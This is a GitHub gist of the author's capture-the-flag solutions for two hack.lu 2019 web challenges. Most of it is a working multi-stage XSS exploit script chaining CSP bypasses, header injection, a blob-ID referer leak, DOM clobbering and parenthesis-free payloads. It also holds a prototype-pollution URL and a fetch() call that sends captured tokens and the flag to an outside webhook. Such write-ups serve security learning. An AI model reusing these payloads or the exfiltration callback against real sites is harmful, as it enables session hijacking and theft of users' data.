Created
October 24, 2019 12:15
-
-
Save terjanq/fdb23ae109446b826a4b37df88efae07 to your computer and use it in GitHub Desktop.
Solutions from hacklu 2019 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* This is a solution to "Car repair shop" challenge from hack.lu ctf 2019 | |
* Solves: 9 | |
* 10/23/2019 © by terjanq | |
*/ | |
/* The idea of the solution is: */ | |
function WoW(){ this.Oo = 'O.o'; } | |
var x = new WoW(); | |
var y = new WoW(); | |
console.log(x + ''); // [object Object] | |
console.log(y + ''); // [object Object] | |
x.__proto__.__proto__ = ["Wow, I overode toString on Object!"] | |
console.log(y + ''); // Wow, I overode toString on Object! | |
URL = "https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair=%7B%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%7B%22__proto__%22:[%22lol%22]%7D%7D&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/aaaa/,alert()//a.js#BugattiPorsche" | |
/* override key so we can ignite the car, override Object.prototype.toString so we pass | |
* $.md5(porsche) == '9cdfb439c7876e703e307864c9167a15', where it's a hash of "lol" string | |
* ?repair={"key":"🔑","__proto__":{"__proto__":["lol"]}} | |
*/ | |
/* regex /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/ | |
* allows to indlude data: scheme. data://foooooooo/foooo/,alert() results in plaintext alert() | |
* &help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/aaaa/,alert()//a.js | |
*/ | |
/* run the cars! | |
* #BugattiPorsche | |
*/ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* This is a solution to "Do You Even XSS?" challenge from hack.lu ctf 2019 | |
* Solves: 3 | |
* Works only on chromium based browsers. | |
* 10/23/2019 © by terjanq | |
*/ | |
/* https://doyouevenxss.fluxfingersforfuture.fluxfingers.net/?msg=%3C/script%3E%3Cscript/src=//terjanq.me/solutions/xss_hard_hacklu.js%3E%3C/script%3E */ | |
// callback to your server | |
const cb = '//webhook.site/3688c22b-4d94-4680-bfa3-85faed2b5836'; | |
const cb_mode = {mode:'no-cors'}; | |
const PROTOCOL = 'https'; // for admin it must be http | |
// construct the URL | |
function constructURL(protocol, domain, parameters = {}, path = '', trim=true){ | |
let url = new URL(`${protocol}://${domain}`); | |
url.pathname = path; | |
for(let key in parameters){ | |
let value = parameters[key]; | |
if(trim) value = value.trim(); | |
url.searchParams.append(key, value); | |
} | |
return url.href; | |
} | |
// construct stage url | |
function stageURL(stage, parameters={}, path=''){ | |
return constructURL(PROTOCOL, `${stage}.doyouevenxss.fluxfingersforfuture.fluxfingers.net`, parameters, path); | |
} | |
// construct url ot external resources | |
function terjanqURL(path='',parameters={}){ | |
return constructURL(PROTOCOL, `terjanq.me`, parameters, path); | |
} | |
// Output to the console and send to the server | |
function log(stage, token) { | |
fetch(`${cb}?${stage}=${encodeURIComponent(token)}`, cb_mode); | |
console.log(`${stage.toUpperCase()}: ${token}`); | |
} | |
// Simply ping my server for debugging purposes | |
function ping(d){ | |
fetch(cb+'/?ping='+d, cb_mode); | |
} | |
// Ping the server to see when admin visited | |
ping(iframe.src); | |
// sleep function to use in async functions | |
const sleep = d => new Promise(r => setTimeout(r, d)); | |
// keep track of the most recent inserted iframe | |
let current_iframe = iframe; | |
// Make function asynchronous so we can use awaits | |
(async() => { | |
// This is a polyglot that can be used in both eval(name) and location=name | |
// It sets document.domain to top domain so iframes can communicate with | |
// each other | |
const default_name = "javascript:document.domain='fluxfingers.net',1" | |
eval(default_name); | |
// wait for onload event in iframe | |
const wait_for_iframe = x => new Promise(r => x.onload = x.onerror = r); | |
// wait for token and return it | |
const wait_for_token = async(stage, token, key, value, name = default_name) => { | |
// create new iframe to the stage, requires token and injection | |
let x = document.createElement('iframe'); | |
current_iframe = x; | |
let params = {token:token}; | |
params[key] = value; | |
x.src = stageURL(stage, params); | |
x.name = name; | |
document.body.appendChild(x); | |
// wait for iframe to be loaded | |
await wait_for_iframe(x); | |
// wait up to 2 seconds after iframe load and exit infinite loop otherwise | |
let start = performance.now(); | |
while(1){ | |
if(performance.now() - start > 2000){ | |
return; | |
} | |
// check if we can access token yet, otherwise keep running | |
try { | |
let t = x.contentWindow.token || x.contentWindow.flag; | |
log(stage, t); | |
return t; | |
} catch (e) { | |
await sleep(100); | |
} | |
} | |
} | |
// STAGE0 | |
// The whole process begins on Stage0 and includes this script | |
// In each step we require to retrieve a token to next level | |
// injection (msg): | |
// </script><script src=//14.rs></script> | |
// url: | |
// https://doyouevenxss.fluxfingersforfuture.fluxfingers.net/?msg=%3C/script%3E%3Cscript%20src=//14.rs%3E%3C/script%3E | |
/* Script started with: https://doyouevenxss.fluxfingersforfuture.fluxfingers.net/?msg=%3C/script%3E%3Cscript/src=//terjanq.me/solutions/xss_hard_hacklu.js%3E%3C/script%3E */ | |
// STAGE1 | |
// goal: | |
// use opentip-jquery to bypass CSP and execute script via 'strict-dynamic' | |
// injection (tooltip): | |
// <div data-ot="<script>alert(1337)</script>" data-ot-show-on="creation"> | |
// url: | |
// https://stage1.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&tooltip=%3Cdiv%20data-ot=%22%3Cscript%3Ealert(1337)%3C/script%3E%22%20data-ot-show-on=%22creation%22%3E | |
let s1 = await wait_for_token('stage1', token, 'tooltip', ` | |
<div data-ot="<script>document.domain='fluxfingers.net'</script>" data-ot-show-on="creation"> | |
`); | |
// STAGE2 | |
// goal: | |
// craft short xss payload | |
// injection (hint): | |
// "><svg/onload=alert()> | |
// url: | |
// https://stage2.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&hint=%22%3E%3Csvg/onload=alert()%3E | |
let s2 = await wait_for_token('stage2', s1, 'hint', ` | |
"><svg/onload=location=name> | |
`); | |
// STAGE3 | |
// goal: | |
// header injection in HTTP response allows overriding CSP | |
// injection (cdn): | |
// ;script-src-elem data: 'unsafe-inline';<script src="data:,alert(1337)"></script> | |
// url: | |
// https://stage3.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&cdn=;script-src-elem%20data:%20%27unsafe-inline%27;%3Cscript%20src=%22data:,alert(1337)%22%3E%3C/script%3E | |
let s3 = await wait_for_token('stage3', s2, 'cdn', ` | |
;script-src-elem data: 'unsafe-inline';<script src="data:,${default_name}"><\/script> | |
`); | |
// STAGE4 | |
// goal: | |
// This is the hardest stage. | |
// - we control everything that is passed to new Blob() but then the input | |
// is sanitized and sent to another frame | |
// - we can leak the id of the blob via referer | |
// - CSP allows to include iframes with blob url, blob url has the same origin as parent window | |
// - there is extension in markdown that allows including iframes through | |
// /i/http://example.org | |
// injection (md) first round: | |
// <script src=//14.rs></script> | |
// /i/https://terjanq.me/get_referer.php | |
// injection (md) second round: | |
// /i/blob:https://stage4.doyouevenxss.fluxfingersforfuture.fluxfingers.net/<blob_id> | |
// URL: | |
// <construct yourself, debug parameter does not work> | |
// sets the payload and leaks the referer blob_id from it | |
// we don't want to wait for this since it will never return the token | |
wait_for_token('stage4', s3, 'md', ` | |
<script src="${terjanqURL( | |
'xss.php', | |
{plain:"parent.parent.document.domain='fluxfingers.net'"} | |
)}"></\script> | |
/i/${terjanqURL('get_referer.php')} | |
`); | |
// wait for onmessage event that will leak the blob_id from referer | |
let referer_blob_id; | |
await new Promise(r => { | |
window.addEventListener('message', e => { | |
if (e.data && e.data.referer) { | |
let ref = e.data.referer; | |
referer_blob_id = /content=([a-f0-9\-]+)/.exec(ref)[1]; | |
r(); | |
} | |
}); | |
}); | |
// use blob_id | |
let s4 = await wait_for_token('stage4', s3, 'md', ` | |
/i/blob:${stageURL('stage4', {}, referer_blob_id)} | |
`); | |
// STAGE5 | |
// goal: | |
// DOMPurify.removed.length only contains removed attributes then inserts | |
// original payload easy unintended bypass with <script> | |
// injection (homepage): | |
// <script>alert()</script> | |
// URL: | |
// https://stage5.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&homepage=%3Cscript%3Ealert(1337)%3C/script%3E | |
// Intended solution: | |
// Use the same bug but use dangling markup to invalidate <script src="bookmarks.js"> | |
// then define bookmarks with DOMClobbering | |
// https://stage5.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&homepage=%3Ca+id=bookmarks%3E%3Cli%20data-id=lol%3E%3Ca+id=bookmarks+name=trnq+href=javascript:alert(1337)#lol%22]%20a[name=%22trnq | |
let s5 = await wait_for_token('stage5', s4, 'homepage', ` | |
<script>location=name</script> | |
`); | |
// STAGE6 | |
// goal: | |
// javascript without parentheses | |
// injection (radius): | |
// 42';onerror=alert,throw/1/;' | |
// URL: | |
// https://stage6.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&radius=42%27;onerror=alert,throw/1/;%27 | |
let s6 = await wait_for_token('stage6', s5, 'radius', ` | |
42';location=name;x=' | |
`); // I used simpler payload with "location=name" | |
// FLAG | |
// goal: | |
// just get the flag | |
// injection (youDidIt): | |
// alert(flag) | |
// URL: | |
// https://flag.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&youDidIt=alert(flag) | |
let flag = await wait_for_token('flag', s6, 'youDidIt', ` | |
location=name | |
`); | |
alert(flag); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment